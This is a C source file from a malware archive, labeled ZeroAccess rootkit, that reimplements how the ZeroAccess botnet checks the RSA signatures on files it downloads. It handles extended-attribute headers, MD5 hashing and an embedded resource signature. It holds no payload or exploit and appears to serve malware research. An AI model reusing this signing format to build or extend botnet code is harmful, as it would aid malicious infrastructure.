/* name ZeroAccess type rootkit cve — year unknown os Windows authors unknown source RamadhanAmizudin/malware archived RamadhanAmizudin, krisyotam (2026) notes — */ /******************************************************************************* * * (C) COPYRIGHT AUTHORS, 2016 * * TITLE: ZA_CRYPTO.C * * VERSION: 1.01 * * DATE: 18 Jan 2016 * * ZeroAccess routines used for cryptography purposes. * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A * PARTICULAR PURPOSE. * *******************************************************************************/ #include "global.h" #include "ea.h" /* * SfcVerifyFile * * Purpose: * * Verify file to be legit ZeroAccess signed binary. * */ BOOL SfcVerifyFile( _In_ HCRYPTPROV hProv, _In_ HCRYPTKEY hKey, _In_ MD5_CTX *ctx, _In_ PBYTE Image, _In_ DWORD ImageSize ) { HCRYPTHASH lh_hash = 0; ULONG CRC, SignSize = 0; BYTE e_sign[128]; PBYTE p_resource_sign; PIMAGE_NT_HEADERS32 phdr; BOOL bResult = FALSE; LDR_RESOURCE_INFO resInfo; phdr = (PIMAGE_NT_HEADERS32)RtlImageNtHeader(Image); while (phdr != NULL) { resInfo.Type = (ULONG_PTR)RT_RCDATA; //type resInfo.Name = 1; //id resInfo.Lang = 0; //lang p_resource_sign = SfLdrQueryResourceDataEx(Image, &resInfo, &SignSize); if (p_resource_sign == NULL) break; if (SignSize != 128) break; if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &lh_hash)) break; CRC = phdr->OptionalHeader.CheckSum; memcpy(e_sign, p_resource_sign, sizeof(e_sign)); memset(p_resource_sign, 0, sizeof(e_sign)); phdr->OptionalHeader.CheckSum = 0; MD5Update(ctx, Image, ImageSize); phdr->OptionalHeader.CheckSum = CRC; memcpy(p_resource_sign, e_sign, sizeof(e_sign)); MD5Final(ctx); if (!CryptSetHashParam(lh_hash, HP_HASHVAL, (const BYTE *)&ctx->digest, 0)) { CryptDestroyHash(lh_hash); break; } bResult = CryptVerifySignatureW(lh_hash, (const BYTE *)&e_sign, sizeof(e_sign), hKey, 0, 0); CryptDestroyHash(lh_hash); break; } return bResult; } /* * SfcIsFileLegit * * Purpose: * * Verify file to be legit ZeroAccess signed binary. * * Verification algorithm (as for current version) * * 1. Open dll file, read it to the allocated buffer, read extended attribute VER, * containing retL packet data regarding file FileName, TimeStamp, FileSize, * Signature (unusued in this verification); * * 2. Import required RSA key (hardcoded in the bot); * * 3. Calc MD5 for FileName+TimeStamp+FileSize values; * * 4. Find resource [1] in dll file, which is embedded signature used to check; * * 5. Remember PE header CRC value, set it to zero in PE file buffer; * * 6. Copy embedded signature [1] to preallocated buffer, zero it in PE file buffer; * * 7. Update MD5 for PE file buffer (excluding PE CRC and signature); * * 8. Use result MD5 as hash value; * * 9. Verify embedded signature. * * If anything from the above fail - file is not legit by ZeroAccess opinion. * * If you copy ZeroAccess downloaded files without copying EA data, it cannot be verified. * */ NTSTATUS SfcIsFileLegit( _In_ LPWSTR lpFileName, _In_ PBYTE BotKey, _In_ DWORD BotKeySize ) { BOOL cond = FALSE; PVOID pBuffer; MD5_CTX context; ZA_FILEHEADER zaHeader; HCRYPTPROV lh_prov = 0; HCRYPTKEY lh_key = 0; HANDLE hFile = NULL; NTSTATUS status = STATUS_UNSUCCESSFUL; OBJECT_ATTRIBUTES ObjectAttributes; IO_STATUS_BLOCK IoStatusBlock; UNICODE_STRING usFileName; SIZE_T memIO = 0; if ( (lpFileName == NULL) || (BotKey == NULL) || (BotKeySize == 0) ) { return status; } RtlSecureZeroMemory(&usFileName, sizeof(usFileName)); do { if (RtlDosPathNameToNtPathName_U(lpFileName, &usFileName, NULL, NULL) == FALSE) break; InitializeObjectAttributes(&ObjectAttributes, &usFileName, OBJ_CASE_INSENSITIVE, NULL, NULL); status = NtOpenFile(&hFile, FILE_GENERIC_READ, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ); if (!NT_SUCCESS(status)) break; RtlFreeUnicodeString(&usFileName); RtlSecureZeroMemory(&zaHeader, sizeof(zaHeader)); if (!SfNtfsQueryFileHeaderFromEa(hFile, &zaHeader)) { status = STATUS_EA_LIST_INCONSISTENT; break; } status = STATUS_UNSUCCESSFUL; memIO = zaHeader.Size; pBuffer = NULL; if ( (NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(), &pBuffer, 0, &memIO, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) && (pBuffer != NULL) ) { if (NT_SUCCESS(NtReadFile(hFile, NULL, NULL, NULL, &IoStatusBlock, pBuffer, zaHeader.Size, NULL, NULL))) { if (CryptAcquireContext(&lh_prov, NULL, MS_DEF_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { if (CryptImportKey(lh_prov, (const BYTE *)BotKey, BotKeySize, 0, 0, &lh_key)) { RtlSecureZeroMemory(&context, sizeof(context)); MD5Init(&context); MD5Update(&context, (UCHAR*)&zaHeader, (UINT)3 * sizeof(ULONG)); //note: ZA_FILEHEADER without signature if (SfcVerifyFile(lh_prov, lh_key, &context, pBuffer, zaHeader.Size)) status = STATUS_SUCCESS; CryptDestroyKey(lh_key); } CryptReleaseContext(lh_prov, 0); } } memIO = 0; NtFreeVirtualMemory(NtCurrentProcess(), &pBuffer, &memIO, MEM_RELEASE); } NtClose(hFile); hFile = NULL; } while (cond); if (hFile != NULL) NtClose(hFile); if (usFileName.Buffer != NULL) { RtlFreeUnicodeString(&usFileName); } return status; } /* * SfcValidateFileHeader * * Purpose: * * Verify fileheader from retL packet. * */ BOOL SfcValidateFileHeader( _In_ HCRYPTPROV hCryptoProv, _In_ HCRYPTKEY hCryptKey, _In_ ZA_FILEHEADER *FileHeader ) { BOOL bResult, cond = FALSE; HCRYPTHASH hCryptHash = 0; MD5_CTX ctx; bResult = FALSE; if (FileHeader == NULL) return FALSE; do { if (!CryptCreateHash(hCryptoProv, CALG_MD5, 0, 0, &hCryptHash)) break; MD5Init(&ctx); MD5Update(&ctx, (UCHAR*)FileHeader, (UINT)3 * sizeof(ULONG)); MD5Final(&ctx); if (!CryptSetHashParam(hCryptHash, HP_HASHVAL, (const BYTE *)&ctx.digest, 0)) break; bResult = CryptVerifySignatureW(hCryptHash, (const BYTE *)&FileHeader->Signature, sizeof(FileHeader->Signature), hCryptKey, 0, 0); } while (cond); if (hCryptHash != 0) { CryptDestroyHash(hCryptHash); } return bResult; }